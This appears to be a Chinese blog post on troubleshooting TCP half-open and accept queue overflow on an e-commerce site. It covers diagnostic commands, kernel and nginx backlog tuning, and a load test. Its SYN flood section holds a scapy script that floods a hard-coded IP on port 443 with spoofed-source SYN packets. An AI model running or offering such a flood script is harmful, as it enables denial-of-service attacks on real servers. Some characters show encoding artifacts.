TCP半連接隊列和全連接隊列的可能和出現(xiàn)問題和解決方案

問題描述

監(jiān)控系統(tǒng)發(fā)現(xiàn)電商網(wǎng)站主頁及其它頁面間歇性的無法訪問；

查看安全防護和網(wǎng)絡(luò)流量、應(yīng)用系統(tǒng)負載均正常；

系統(tǒng)重啟后，能夠暫時解決，但持續(xù)一段時間后間歇性問題再次出現(xiàn)。

此時問題已影響到整個網(wǎng)站的正常業(yè)務(wù)，我那個心驚呀，最主要是報警系統(tǒng)沒有任何報警，服務(wù)運行一切正常，瞬時背上的汗已經(jīng)出來了。但還是要靜心，來仔細尋找蛛絲馬跡，來一步一步找問題。

問題初步判斷

檢查dev 和 網(wǎng)卡設(shè)備層，是否有error和drop ，分析在硬件和系統(tǒng)層是否異常 ----- 命令 cat /proc/net/dev 和 ifconfig

觀察socket overflow 和 socket droped（如果應(yīng)用處理全連接隊列（accept queue）過慢 socket overflow，影響半連接隊列(syn queue)溢出socket dropped）-----命令 netstat -s |grep -i listen

發(fā)現(xiàn)SYN socket overflow 和 socket droped 急增加

檢查sysctl內(nèi)核參數(shù)：backlog ，somaxconn，file-max 和 應(yīng)用程序的backlog ；

ss -lnt查詢，SEND-Q會取上述參數(shù)的最小值

發(fā)現(xiàn)當時隊列已經(jīng)超過網(wǎng)站80端口和443端口默認值

檢查 selinux 和 NetworkManager 是否啟用 ，建議禁用；

檢查timestap ,reuse 啟用，內(nèi)核recycle是否啟用，如果過NAT，禁用recycle；

抓包判斷請求進來后應(yīng)用處理的情況，是否收到SYN未響應(yīng)情況。

深入分析問題

正常TCP建連接三次握手過程：

第一步：客戶端 發(fā)送 syn 到 服務(wù)端發(fā)起握手；

第二步：服務(wù)端 收到 syn后回復(fù)syn+ack給 客戶端；

第三步：客戶端 收到syn+ack后，回復(fù) 服務(wù)端一個ack表示收到了 服務(wù)端的syn+ack 。

從描述的情況來看，TCP建連接的時候全連接隊列（accept隊列）滿了，尤其是描述中癥狀為了證明是這個原因。反復(fù)看了幾次之后發(fā)現(xiàn)這個overflowed 一直在增加，那么可以明確的是server上全連接隊列一定溢出了。

接著查看溢出后，OS怎么處理：

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0

tcp_abort_on_overflow 為0表示如果三次握手第三步的時候全連接隊列滿了那么server扔掉client 發(fā)過來的ack（在server端認為連接還沒建立起來）

為了證明客戶端應(yīng)用代碼的異常跟全連接隊列滿有關(guān)系，我先把tcp_abort_on_overflow修改成 1，1表示第三步的時候如果全連接隊列滿了，server發(fā)送一個reset包給client，表示廢掉這個握手過程和這個連接（本來在server端這個連接就還沒建立起來）。

接著測試然后在web服務(wù)日志中異常中可以看到很多connection reset by peer的錯誤，到此證明客戶端錯誤是這個原因?qū)е碌摹?/p>

查看sysctl內(nèi)核參數(shù)：backlog ，somaxconn，file-max 和 nginx的backlog配置參數(shù)，ss -ln取最小值，發(fā)現(xiàn)為128，此時resv-q已經(jīng)在129 ，請求被丟棄。將上述參數(shù)修改，并進行優(yōu)化：

linux內(nèi)核參進行優(yōu)化：net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384

nginx 配置參數(shù)優(yōu)化：backlog=32768;

利用python 多線程壓測，并未發(fā)現(xiàn)新的問題：

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex: for each_a_tag in soup.find_all('a'): try: ex.submit(requests.get,each_a_tag['href']) except Exception as err: print('return error msg:'+str(err))

理解TCP握手過程中建連接的流程和隊列

如上圖所示，這里有兩個隊列：syns queue(半連接隊列）；accept queue（全連接隊列）

三次握手中，在第一步server收到client的syn后，把相關(guān)信息放到半連接隊列中，同時回復(fù)syn+ack給client（第二步）；

第三步的時候server收到client的ack，如果這時全連接隊列沒滿，那么從半連接隊列拿出相關(guān)信息放入到全連接隊列中，否則按tcp_abort_on_overflow指示的執(zhí)行。

這時如果全連接隊列滿了并且tcp_abort_on_overflow是0的話，server過一段時間再次發(fā)送syn+ack給client（也就是重新走握手的第二步），如果client超時等待比較短，就很容易異常了。

sYN Flood洪水攻擊

當前最流行的DoS（拒絕服務(wù)攻擊）與DDoS（分布式拒絕服務(wù)攻擊）的方式之一，這是一種利用TCP協(xié)議缺陷，導(dǎo)致被攻擊服務(wù)器保持大量SYN_RECV狀態(tài)的“半連接”，并且會重試默認5次回應(yīng)第二個握手包，塞滿TCP等待連接隊列，資源耗盡（CPU滿負荷或內(nèi)存不足），讓正常的業(yè)務(wù)請求連接不進來。

from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['11.1.1.2','22.1.1.102','33.1.1.2', '125.130.5.199'] for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex: try: ex.submit(synFlood(tgt,dPort)) except Exception as err: print('return error msg:' + str(err))

所以大家要對TCP半連接隊列和全連接隊列的問題很容易被忽視，但是又很關(guān)鍵，特別是對于一些短連接應(yīng)用更容易爆發(fā)。

出現(xiàn)問題后，從網(wǎng)絡(luò)流量、cpu、線程、負載來看都比較正常，在用戶端來看rt比較高，但是從服務(wù)器端的日志看rt又很短。如何避免在出現(xiàn)問題時手忙腳亂，建立起應(yīng)急機機制，后續(xù)有機會寫一下應(yīng)急方面的文章。